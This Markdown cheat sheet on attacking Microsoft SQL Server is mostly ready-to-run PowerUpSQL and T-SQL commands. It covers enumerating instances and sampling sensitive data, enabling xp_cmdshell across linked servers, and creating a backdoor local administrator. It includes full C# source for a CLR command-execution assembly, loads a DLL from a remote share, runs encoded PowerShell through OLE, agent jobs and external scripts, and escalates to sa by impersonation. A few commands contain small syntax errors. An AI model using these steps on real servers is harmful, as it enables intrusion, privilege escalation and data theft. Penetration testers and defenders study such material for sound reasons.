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533 lines
17 KiB
Markdown
533 lines
17 KiB
Markdown
# MSSQL Server
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## Summary
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* [Identify Instances and Databases](#identifiy-instaces-and-databases)
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* [Discover Local SQL Server Instances](#discover-local-sql-server-instances)
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* [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances)
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* [Discover Remote SQL Server Instances](#discover-remote-sql-instances)
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* [Identify Encrypted databases](#identifiy-encrypted-databases)
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* [Version Query](#version-query)
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* [Identify Sensitive Information](#identify-sensitive-information)
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* [Get Tables from a Specific Database](#get-tables-from-specific-databases)
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* [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column)
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* [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table)
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* [Dump common information from server to files](#dump-common-information-from-server-to-files)
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* [Linked Database](#linked-database)
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* [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain)
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* [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance)
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* [Query Version of Linked Database](#query-version-of-linked-database)
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* [Execute Procedure on Linked Database](#execute-procedure-on-linked-database)
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* [Determine Names of Linked Databases ](#determine-names-of-linked-databases)
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* [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database)
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* [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table)
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* [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column)
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* [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell)
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* [Extended Stored Procedure](#extended-stored-procedure)
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* [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
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* [CLR Assemblies](#clr-assemblies)
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* [Execute commands using CLR assembly](#execute-commands-using-clr-assembly)
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* [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it)
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* [OLE Automation](#ole-automation)
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* [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures)
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* [Agent Jobs](#agent-jobs)
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* [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service)
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* [List All Jobs](#list-all-jobs)
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* [External Scripts](#external-scripts)
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* [Python](#python)
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* [R](#r)
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* [Audit Checks](#audit-checks)
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* [Find and exploit impersonation opportunities](#find-and-exploit-impersonation-opportunities)
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* [Find databases that have been configured as trustworthy](#find-databases-that-have-been-configured-as-trustworthy)
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* [Manual SQL Server Queries](#manual-sql-server-queries)
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* [Query Current User & determine if the user is a sysadmin](#query-current-user--determine-if-the-user-is-a-sysadmin)
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* [Current Role](#current-role)
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* [Current DB](#current-db)
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* [List all tables](#list-all-tables)
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* [List all databases](#list-all-databases)
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* [All Logins on Server](#all-logins-on-server)
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* [All Database Users for a Database](#all-database-users-for-a-database)
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* [List All Sysadmins](#list-all-sysadmins)
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* [List All Database Roles](#list-all-database-role)
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* [Effective Permissions from the Server](#effective-permissions-from-the-server)
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* [Effective Permissions from the Database](#effective-permissions-from-the-database)
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* [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
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* [Exploiting Impersonation](#exploiting-impersonation)
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* [Exploiting Nested Impersonation](#exploiting-nested-impersonation)
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* [References](#references)
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## Identify Instances and Databases
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### Discover Local SQL Server Instances
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```ps1
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Get-SQLInstanceLocal
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```
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### Discover Domain SQL Server Instances
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```ps1
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Get-SQLInstanceDomain -Verbose
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# Get Server Info for Found Instances
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Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
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# Get Database Names
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Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults
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```
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### Discover Remote SQL Server Instances
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```ps1
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Get-SQLInstanceBroadcast -Verbose
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Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
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```
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### Identify Encrypted databases
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Note: These are automatically decrypted for admins
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```ps1
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Get-SQLDatabase -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}
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```
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### Version Query
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```ps1
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Get-SQLInstanceDomain | Get-Query "select @@version"
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```
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## Identify Sensitive Information
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### Get Tables from a Specific Database
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```ps1
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Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults
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Get Column Details from a Table
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Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>
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```
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### Gather 5 Entries from Each Column
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```ps1
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Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5
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```
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### Gather 5 Entries from a Specific Table
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'
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```
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### Dump common information from server to files
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```ps1
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Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
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```
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## Linked Database
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### Crawl Links for Instances in the Domain
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A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
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```ps1
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Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
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```
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### Crawl Links for a Specific Instance
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```ps1
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Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
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```
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### Query Version of Linked Database
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
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```
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### Execute Procedure on Linked Database
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```ps1
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SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
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SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
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SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
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SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
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SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
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```
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### Determine Names of Linked Databases
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> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
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```
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### Determine All the Tables Names from a Selected Linked Database
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> The result is TableName which feeds into following query
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
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```
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### Gather the Top 5 Columns from a Selected Linked Table
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> The results are ColumnName and ColumnValue which feed into following query
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
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```
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### Gather Entries from a Selected Linked Column
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
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```
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### Command Execution via xp_cmdshell
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> xp_cmdshell disabled by default since SQL Server 2005
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```ps1
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Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
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Creates and adds local user backup to the local administrators group:
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Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add' -Verbose
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Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
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```
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## Extended Stored Procedure
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### Add the extended stored procedure and list extended stored procedures
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```ps1
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Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
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Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
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Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
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Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
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```
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## CLR Assemblies
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Prerequisites:
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* sysadmin privileges
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* CREATE ASSEMBLY permission (or)
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* ALTER ASSEMBLY permission (or)
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### Execute commands using CLR assembly
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```ps1
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Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
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or
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Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
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```
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### Manually creating a CLR DLL and importing it
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Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs`
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```csharp
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using System;
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using System.Data;
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using System.Data.SqlClient;
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using System.Data.SqlTypes;
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using Microsoft.SqlServer.Server;
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using System.IO;
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using System.Diagnostics;
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using System.Text;
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public partial class StoredProcedures
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{
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[Microsoft.SqlServer.Server.SqlProcedure]
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public static void cmd_exec (SqlString execCommand)
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{
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Process proc = new Process();
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proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
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proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
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proc.StartInfo.UseShellExecute = false;
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proc.StartInfo.RedirectStandardOutput = true;
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proc.Start();
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// Create the record and specify the metadata for the columns.
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SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
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// Mark the beginning of the result set.
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SqlContext.Pipe.SendResultsStart(record);
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// Set values for each column in the row
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record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
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// Send the row back to the client.
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SqlContext.Pipe.SendResultsRow(record);
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// Mark the end of the result set.
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SqlContext.Pipe.SendResultsEnd();
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proc.WaitForExit();
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proc.Close();
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}
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};
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```
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Then follow these instructions:
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1. Enable `show advanced options` on the server
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```sql
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sp_configure 'show advanced options',1;
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RECONFIGURE
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GO
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```
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2. Enable CLR on the server
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```sql
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sp_configure 'clr enabled',1
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RECONFIGURE
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GO
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```
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3. Import the assembly
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```sql
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CREATE ASSEMBLY my_assembly
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FROM 'c:\temp\cmd_exec.dll'
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WITH PERMISSION_SET = UNSAFE;
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```
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4. Link the assembly to a stored procedure
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```sql
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CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
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GO
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```
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5. Execute and clean
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```sql
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cmd_exec "whoami"
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DROP PROCEDURE cmd_exec
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DROP ASSEMBLY my_assembly
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```
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**CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL
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```sql
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CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
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0x4D5A90000300000004000000F[TRUNCATED]
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WITH PERMISSION_SET = UNSAFE
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GO
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```
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## OLE Automation
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### Execute commands using OLE automation procedures
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```ps1
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Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
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```
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```ps1
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# Enable OLE Automation
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EXEC sp_configure 'show advanced options', 1
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EXEC sp_configure reconfigure
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EXEC sp_configure 'OLE Automation Procedures', 1
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EXEC sp_configure reconfigure
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# Execute commands
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DECLARE @execmd INT
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EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
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EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
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```
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## Agent Jobs
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### Execute commands through SQL Agent Job service
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```ps1
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Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
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Subsystem Options:
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–Subsystem CmdExec
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-SubSystem PowerShell
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–Subsystem VBScript
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–Subsystem Jscript
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```
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### List All Jobs
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```ps1
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Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
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```
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## External Scripts
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:warning: You need to enable **external scripts**.
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```sql
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sp_configure 'external scripts enabled', 1;
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RECONFIGURE;
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```
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## Python:
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```ps1
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Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
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```
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## R
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```ps1
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Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
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```
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## Audit Checks
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### Find and exploit impersonation opportunities
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* Impersonate as: `EXECUTE AS LOGIN = 'sa'`
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* Impersonate `dbo` with DB_OWNER
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```sql
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SQL> select is_member('db_owner');
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SQL> execute as user = 'dbo'
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SQL> SELECT is_srvrolemember('sysadmin')
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```
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```ps1
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Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
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# impersonate sa account
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powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
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```
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## Find databases that have been configured as trustworthy
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```ps1
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Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
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```
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> The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.
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```ps1
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Invoke-SQLAuditPrivXpDirtree
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Invoke-SQLUncPathInjection
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Invoke-SQLAuditPrivXpFileexist
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```
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## Manual SQL Server Queries
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### Query Current User & determine if the user is a sysadmin
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```sql
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select suser_sname()
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Select system_user
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select is_srvrolemember('sysadmin')
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```
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### Current Role
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```sql
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Select user
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```
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### Current DB
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```sql
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select db_name()
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```
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### List all tables
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```sql
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select table_name from information_schema.tables
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```
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### List all databases
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```sql
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select name from master..sysdatabases
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```
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### All Logins on Server
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```sql
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Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
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```
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### All Database Users for a Database
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```sql
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Select * from sys.database_principals where type_desc != 'database_role';
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```
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### List All Sysadmins
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```sql
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SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
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```
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### List All Database Roles
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```sql
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SELECT DB1.name AS DatabaseRoleName,
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isnull (DB2.name, 'No members') AS DatabaseUserName
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FROM sys.database_role_members AS DRM
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RIGHT OUTER JOIN sys.database_principals AS DB1
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ON DRM.role_principal_id = DB1.principal_id
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LEFT OUTER JOIN sys.database_principals AS DB2
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ON DRM.member_principal_id = DB2.principal_id
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WHERE DB1.type = 'R'
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ORDER BY DB1.name;
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```
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### Effective Permissions from the Server
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```sql
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select * from fn_my_permissions(null, 'server');
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```
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### Effective Permissions from the Database
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```sql
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SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
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```
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### Find SQL Server Logins Which can be Impersonated for the Current Database
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```sql
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select distinct b.name
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from sys.server_permissions a
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inner join sys.server_principals b
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on a.grantor_principal_id = b.principal_id
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where a.permission_name = 'impersonate'
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```
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### Exploiting Impersonation
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```sql
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SELECT SYSTEM_USER
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SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
EXECUTE AS LOGIN = 'adminuser'
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
SELECT ORIGINAL_LOGIN()
|
||
```
|
||
|
||
### Exploiting Nested Impersonation
|
||
|
||
```sql
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
EXECUTE AS LOGIN = 'stduser'
|
||
SELECT SYSTEM_USER
|
||
EXECUTE AS LOGIN = 'sa'
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
SELECT ORIGINAL_LOGIN()
|
||
SELECT SYSTEM_USER
|
||
```
|
||
|
||
## References
|
||
|
||
* [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3)
|
||
* [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)
|
||
* [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/) |